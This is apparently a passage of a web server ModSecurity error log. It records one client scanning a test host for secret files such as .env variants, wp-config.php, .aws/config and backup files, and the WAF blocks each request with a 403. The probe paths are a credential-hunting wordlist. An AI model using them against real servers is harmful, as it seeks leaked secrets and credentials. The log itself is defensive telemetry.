[Wed Feb 25 06:04:33.926813 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWvAAAAAQ&quot;]
[Wed Feb 25 06:04:33.927013 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWvAAAAAQ&quot;]
[Wed Feb 25 06:04:34.256393 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWwgAAAAQ&quot;]
[Wed Feb 25 06:04:34.256686 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWwgAAAAQ&quot;]
[Wed Feb 25 06:04:34.256871 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWwgAAAAQ&quot;]
[Wed Feb 25 06:04:34.338270 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWwwAAAAQ&quot;]
[Wed Feb 25 06:04:34.338585 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWwwAAAAQ&quot;]
[Wed Feb 25 06:04:34.338771 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWwwAAAAQ&quot;]
[Wed Feb 25 06:04:34.395650 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWxAAAAAQ&quot;]
[Wed Feb 25 06:04:34.395955 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWxAAAAAQ&quot;]
[Wed Feb 25 06:04:34.396160 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWxAAAAAQ&quot;]
[Wed Feb 25 06:04:34.427221 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWxQAAAAQ&quot;]
[Wed Feb 25 06:04:34.427506 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWxQAAAAQ&quot;]
[Wed Feb 25 06:04:34.427701 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWxQAAAAQ&quot;]
[Wed Feb 25 06:04:34.585057 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWxgAAAAQ&quot;]
[Wed Feb 25 06:04:34.585347 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWxgAAAAQ&quot;]
[Wed Feb 25 06:04:34.585530 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWxgAAAAQ&quot;]
[Wed Feb 25 06:04:34.612870 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWxwAAAAQ&quot;]
[Wed Feb 25 06:04:34.613405 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWxwAAAAQ&quot;]
[Wed Feb 25 06:04:34.613566 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aZ6C4p6MLyC5r86Hx-ZWxwAAAAQ&quot;]
[Wed Feb 25 06:04:34.767779 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ6C4lIszkcv5YapLJKWSgAAAAI&quot;]
[Wed Feb 25 06:04:34.768082 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ6C4lIszkcv5YapLJKWSgAAAAI&quot;]
[Wed Feb 25 06:04:34.768285 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ6C4lIszkcv5YapLJKWSgAAAAI&quot;]
[Wed Feb 25 06:04:34.862015 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aZ6C4lIszkcv5YapLJKWTAAAAAI&quot;]
[Wed Feb 25 06:04:34.862315 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aZ6C4lIszkcv5YapLJKWTAAAAAI&quot;]
[Wed Feb 25 06:04:34.862503 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aZ6C4lIszkcv5YapLJKWTAAAAAI&quot;]
[Wed Feb 25 06:04:35.050065 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZWzAAAAAQ&quot;]
[Wed Feb 25 06:04:35.051135 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZWzAAAAAQ&quot;]
[Wed Feb 25 06:04:35.051322 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZWzAAAAAQ&quot;]
[Wed Feb 25 06:04:35.113377 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZWzQAAAAQ&quot;]
[Wed Feb 25 06:04:35.113687 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZWzQAAAAQ&quot;]
[Wed Feb 25 06:04:35.113862 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZWzQAAAAQ&quot;]
[Wed Feb 25 06:04:35.230416 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] 